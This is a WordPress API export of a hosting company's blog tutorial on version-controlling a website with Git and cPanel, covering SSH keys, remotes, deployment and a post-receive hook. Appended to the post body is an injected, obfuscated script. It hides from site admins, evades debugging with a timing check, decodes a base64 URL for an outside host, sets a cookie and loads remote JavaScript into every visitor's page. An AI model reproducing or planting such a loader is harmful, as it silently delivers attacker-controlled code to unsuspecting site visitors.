{"id":12220,"date":"2025-06-12T13:43:10","date_gmt":"2025-06-12T07:58:10","guid":{"rendered":"https:\/\/nestnepal.com\/blog\/?p=12220"},"modified":"2026-05-20T19:54:12","modified_gmt":"2026-05-20T14:09:12","slug":"git-version-control-your-website-using-cpanel","status":"publish","type":"post","link":"https:\/\/nestnepal.com\/blog\/git-version-control-your-website-using-cpanel\/","title":{"rendered":"Using Git with cPanel: How to Version Control Your Website (2025 Pro Guide)"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Gone are the days of dragging and dropping files over FTP and manually updating production websites. Today, smart developers and digital businesses rely on <strong>control systems<\/strong> like <a href=\"https:\/\/git-scm.com\/\">Git Version<\/a> to manage their codebases, collaborate effectively, and streamline deployments.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"406\" height=\"235\" src=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/06\/git-version.jpeg\" alt=\"git-version\" class=\"wp-image-12221\" style=\"width:455px;height:auto\" srcset=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/06\/git-version.jpeg 406w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/06\/git-version-300x174.jpeg 300w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/06\/git-version-380x220.jpeg 380w\" sizes=\"auto, (max-width: 406px) 100vw, 406px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">And here\u2019s the good news: <strong>cPanel comes with built-in Git support!<\/strong> That means you can bring the power of Git workflows into your shared or <a href=\"https:\/\/nestnepal.com\/blog\/what-is-vps-hosting\/\">VPS hosting<\/a> environment.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This guide will walk you through everything, from setting up a repository to deploying updates from Git to your live website, all securely and professionally.<\/p>\n\n\n\n<h2 id=\"why-use-git-with-cpanel\" class=\"wp-block-heading\"><strong>Why Use Git with cPanel?<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Before jumping into the steps, let\u2019s understand why Git and cPanel together make so much sense:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Safe deployments<\/strong>: Rollback anytime.<\/li>\n\n\n\n<li><strong>Team collaboration<\/strong>: Work with others using pull\/push workflows.<\/li>\n\n\n\n<li><strong>Production-ready code<\/strong>: No more accidental overwrites.<\/li>\n\n\n\n<li><strong>Secure codebase<\/strong>: SSH-authenticated pushes.<\/li>\n\n\n\n<li><strong>Cleaner workflow<\/strong>: You work locally, push remotely, done.<\/li>\n<\/ul>\n\n\n\n<h2 id=\"prerequisites\" class=\"wp-block-heading\"><strong>Prerequisites<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">To follow this guide, you\u2019ll need:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"736\" height=\"552\" src=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/06\/Control-Panel.jpeg\" alt=\"cPanel\n\" class=\"wp-image-12223\" style=\"width:452px;height:auto\" srcset=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/06\/Control-Panel.jpeg 736w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/06\/Control-Panel-300x225.jpeg 300w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/06\/Control-Panel-380x285.jpeg 380w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/06\/Control-Panel-550x413.jpeg 550w\" sizes=\"auto, (max-width: 736px) 100vw, 736px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>A hosting account with <strong>cPanel (v90 or above)<\/strong><\/li>\n\n\n\n<li>Git is installed on your local machine (Windows\/macOS\/Linux)<\/li>\n\n\n\n<li>SSH access is enabled on your hosting account (we\u2019ll show you how)<\/li>\n\n\n\n<li>Optional: A basic Laravel\/PHP project (or any web project you want to deploy)<\/li>\n<\/ul>\n\n\n\n<h2 id=\"step-1-create-a-git-repository-in-cpanel\" class=\"wp-block-heading\"><strong>Step 1: Create a Git Repository in cPanel<\/strong><\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Log in to your <strong>cPanel dashboard<\/strong>.<\/li>\n\n\n\n<li>Search for <strong>&#8220;Git Version Control&#8221;<\/strong> in the search bar.<\/li>\n\n\n\n<li>Click on <strong>&#8220;Create Repository.&#8221;<\/strong><\/li>\n\n\n\n<li>Choose a <strong>clone repository<\/strong> if your code is on GitHub or GitLab. Or create a new empty one if you&#8217;re initializing it later.\n<ul class=\"wp-block-list\">\n<li>Repository path: \/home\/youruser\/repositories\/my-website<\/li>\n\n\n\n<li>Repository name: my-website<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Hit <strong>Create<\/strong>.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u2705 Your Git repo is now live inside your hosting account.<\/p>\n\n\n\n<h2 id=\"step-2-set-up-ssh-access-for-secure-pushes\" class=\"wp-block-heading\"><strong>Step 2: Set Up SSH Access (For Secure Pushes)<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Using Git securely requires <strong>SSH authentication<\/strong>.<\/p>\n\n\n\n<h3 id=\"on-your-local-computer\" class=\"wp-block-heading\"><strong>On Your Local Computer:<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">ssh-keygen -t rsa -b 4096 -C &#8220;your@email.com&#8221;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Save the file (press Enter to use the default path ~\/.ssh\/id_rsa)<\/li>\n\n\n\n<li>Then copy your public key:<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">cat ~\/.ssh\/id_rsa.pub<\/p>\n\n\n\n<h3 id=\"on-cpanel\" class=\"wp-block-heading\"><strong>On cPanel:<\/strong><\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Open <strong>SSH Access &gt; Manage SSH Keys<\/strong><\/li>\n\n\n\n<li>Click <strong>Import Key<\/strong><\/li>\n\n\n\n<li>Paste your id_rsa.pub contents into the public key box<\/li>\n\n\n\n<li>Authorize the key<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Done! You can now push to your repo securely.<\/p>\n\n\n\n<h2 id=\"step-3-add-remote-push-code-from-local-git\" class=\"wp-block-heading\"><strong>Step 3: Add Remote &amp; Push Code from Local Git<\/strong><\/h2>\n\n\n\n<h3 id=\"from-your-terminal\" class=\"wp-block-heading\"><strong>From your terminal:<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">cd your-local-project-folder<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">git init<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">git remote add live ssh:\/\/youruser@yourdomain.com\/home\/youruser\/repositories\/my-website<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">git add.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">git commit -m &#8220;Initial commit&#8221;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">git push live master<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now your code lives on your server.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you\u2019re using GitHub or GitLab, you can instead have cPanel <strong>pull<\/strong> directly from those remotes. More on that later.<\/p>\n\n\n\n<h2 id=\"step-4-deploy-the-code-to-public_html-live-website\" class=\"wp-block-heading\"><strong>Step 4: Deploy the Code to Public_HTML (Live Website)<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Just because the repo lives on your server doesn\u2019t mean it\u2019s live yet.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s deploy it:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Go back to <strong>Git Version Control<\/strong> in cPanel<\/li>\n\n\n\n<li>Click <strong>Manage<\/strong> on your repository<\/li>\n\n\n\n<li>Under <strong>Deployment<\/strong>, choose:\n<ul class=\"wp-block-list\">\n<li>Deployment directory: \/public_html or any subfolder.<\/li>\n\n\n\n<li>Deployment branch: usually master or main<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Click <strong>Deploy HEAD Commit<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Boom! Git now powers your website.<\/p>\n\n\n\n<h2 id=\"optional-auto-deploy-on-push-post-receive-hook\" class=\"wp-block-heading\"><strong>Optional: Auto-Deploy on Push (Post-Receive Hook)<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Want changes to go live automatically every time you push? Set up auto-deploy:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>In cPanel\u2019s File Manager, go to your .git\/hooks folder inside your repo path.<\/li>\n\n\n\n<li>Edit or create a post-receive file:<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">#!\/bin\/bash<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">GIT_WORK_TREE=\/home\/youruser\/public_html git checkout -f<\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li>Make it executable:<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">chmod +x post-receive<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now every push = auto update.<\/p>\n\n\n\n<h2 id=\"git-workflow-example-laravel-app-deployment\" class=\"wp-block-heading\"><strong>Git Workflow Example: Laravel App Deployment<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s say you\u2019re deploying a Laravel app:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Your repo has the entire Laravel structure<\/li>\n\n\n\n<li>Public files are inside public\/<\/li>\n\n\n\n<li>You want public\/ to be your public_html<\/li>\n<\/ul>\n\n\n\n<h3 id=\"solution\" class=\"wp-block-heading\"><strong>Solution:<\/strong><\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Set repo in \/home\/user\/laravel-app<\/li>\n\n\n\n<li>Deploy only public\/ to \/home\/user\/public_html<\/li>\n\n\n\n<li>Point index.php and bootstrap to correct paths (adjust if needed)<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Bonus: You can use .env.production and symlink it as .env for live config.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"612\" height=\"344\" src=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/06\/git-control.jpg\" alt=\"git-support\" class=\"wp-image-12222\" srcset=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/06\/git-control.jpg 612w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/06\/git-control-300x169.jpg 300w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/06\/git-control-380x214.jpg 380w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/06\/git-control-550x309.jpg 550w\" sizes=\"auto, (max-width: 612px) 100vw, 612px\" \/><figcaption class=\"wp-element-caption\">Revision control system. Word Git of the yellow square pixels on a black matrix background. 3D illustration image<\/figcaption><\/figure>\n\n\n\n<h2 id=\"best-practices-for-git-cpanel-deployments\" class=\"wp-block-heading\"><strong>Best Practices for Git + cPanel Deployments<\/strong><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Use <strong>separate branches<\/strong> for staging and production<\/li>\n\n\n\n<li>Don\u2019t commit sensitive .env or config files; use server-only copies<\/li>\n\n\n\n<li>Set proper <strong>file permissions<\/strong> after deploy (especially for storage\/ and bootstrap\/cache\/)<\/li>\n\n\n\n<li>Enable <strong>2FA on GitHub<\/strong> and use <strong>deploy keys<\/strong><\/li>\n\n\n\n<li>Keep a <strong>backup<\/strong> before you deploy (always!)<\/li>\n<\/ul>\n\n\n\n<h2 id=\"recap-git-powered-hosting-smarter-web-development\" class=\"wp-block-heading\"><strong>Recap: Git-Powered Hosting = Smarter Web Development<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">With Git and cPanel working together, your workflow becomes:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Develop locally<\/li>\n\n\n\n<li>Push securely<\/li>\n\n\n\n<li>Deploy instantly<\/li>\n\n\n\n<li>It\u2019s faster, safer, and way more professional than manual uploads.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Whether you\u2019re a solo developer, an agency, or a startup, mastering Git-based deployment on shared hosting gives you an edge.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So go ahead and set up that repo, push your code, and take control of your website\u2019s future! <strong>Need a Git-friendly hosting provider in Nepal?<\/strong> Most modern cPanel hosts support Git (like <a href=\"https:\/\/nestnepal.com\/\">Nest Nepal<\/a>), so choose one that gives you SSH and Git Version Control in your panel.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"Gone are the days of dragging and dropping files over FTP and manually updating production websites. Today, smart&hellip;\n","protected":false},"author":15,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"csco_singular_sidebar":"","csco_page_header_type":"","csco_appearance_masonry":"","csco_page_load_nextpost":"","csco_post_subtitle":"","csco_post_video_location":[],"csco_post_video_location_hash":"","csco_post_video_url":"","csco_post_video_bg_start_time":0,"csco_post_video_bg_end_time":0,"footnotes":""},"categories":[205,7],"tags":[],"class_list":["post-12220","post","type-post","status-publish","format-standard","category-control-panel","category-web-hosting","cs-entry","cs-video-wrap"],"_links":{"self":[{"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/posts\/12220","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/comments?post=12220"}],"version-history":[{"count":0,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/posts\/12220\/revisions"}],"wp:attachment":[{"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/media?parent=12220"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/categories?post=12220"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/tags?post=12220"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}